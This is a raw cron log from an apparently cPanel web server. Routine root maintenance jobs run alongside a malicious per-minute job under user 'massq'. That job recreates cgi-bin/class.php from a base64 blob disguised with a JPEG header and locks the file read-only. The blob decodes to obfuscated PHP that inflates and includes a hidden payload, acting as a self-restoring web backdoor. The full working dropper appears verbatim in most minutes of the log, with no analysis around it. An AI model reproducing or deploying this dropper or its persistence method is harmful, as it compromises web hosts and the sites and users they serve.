Sep  5 17:10:01 server CROND[13176]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:10:01 server CROND[13179]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 17:10:01 server CROND[13178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:10:01 server CROND[13181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:10:01 server CROND[13185]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 17:10:01 server CROND[13183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:10:01 server CROND[13182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:11:01 server CROND[14188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:11:01 server CROND[14189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:11:01 server CROND[14192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:12:01 server CROND[14563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:12:01 server CROND[14565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:12:01 server CROND[14564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:12:01 server CROND[14566]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 17:13:01 server CROND[14942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:13:01 server CROND[14944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:13:01 server CROND[14943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:14:01 server CROND[15334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:14:01 server CROND[15335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:14:01 server CROND[15336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:15:02 server CROND[15790]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:15:02 server CROND[15789]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 17:15:02 server CROND[15795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:15:02 server CROND[15796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:15:02 server CROND[15792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:15:02 server CROND[15794]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 17:15:02 server CROND[15799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:15:02 server CROND[15798]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 17:16:01 server CROND[16794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:16:01 server CROND[16796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:16:01 server CROND[16795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:17:01 server CROND[17212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:17:01 server CROND[17213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:17:01 server CROND[17214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:18:01 server CROND[17593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:18:01 server CROND[17595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:18:01 server CROND[17594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:19:01 server CROND[18005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:19:01 server CROND[18006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:19:01 server CROND[18007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:20:01 server CROND[18382]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 17:20:01 server CROND[18383]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 17:20:01 server CROND[18394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:20:01 server CROND[18386]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:20:01 server CROND[18393]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 17:20:01 server CROND[18398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:20:01 server CROND[18392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:20:01 server CROND[18396]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 17:20:01 server CROND[18391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:21:01 server CROND[19329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
